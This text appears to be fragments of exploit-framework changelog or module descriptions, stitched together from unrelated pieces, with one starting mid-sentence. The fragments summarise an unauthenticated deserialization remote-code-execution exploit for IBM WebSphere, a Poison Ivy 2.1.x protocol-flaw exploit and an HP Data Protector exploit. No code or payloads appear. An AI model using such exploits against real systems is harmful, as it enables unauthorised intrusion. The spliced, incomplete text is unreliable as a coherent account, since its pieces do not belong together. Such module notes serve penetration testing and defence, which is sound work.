This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
when moving to the rex-exploitation gem some of the
file references were missed, partially due to silly differences
between how each file was referenced

in Poison Ivy versions 2.1.x (possibly present in older versions too) and doesn't
require knowledge of the secret key as it abuses a flaw in the cryptographic protocol.
Note that this is a different vulnerability from the one affecting versions 2.2.0 and up
(https://www.rapid7.com/db/modules/exploit/windows/misc/poisonivy_bof).

Added exploit for HP Data Protector when using encrypted communications.
This has been tested against v9.00 on Windows Server 2008 R2 but should also work against older versions of DP.
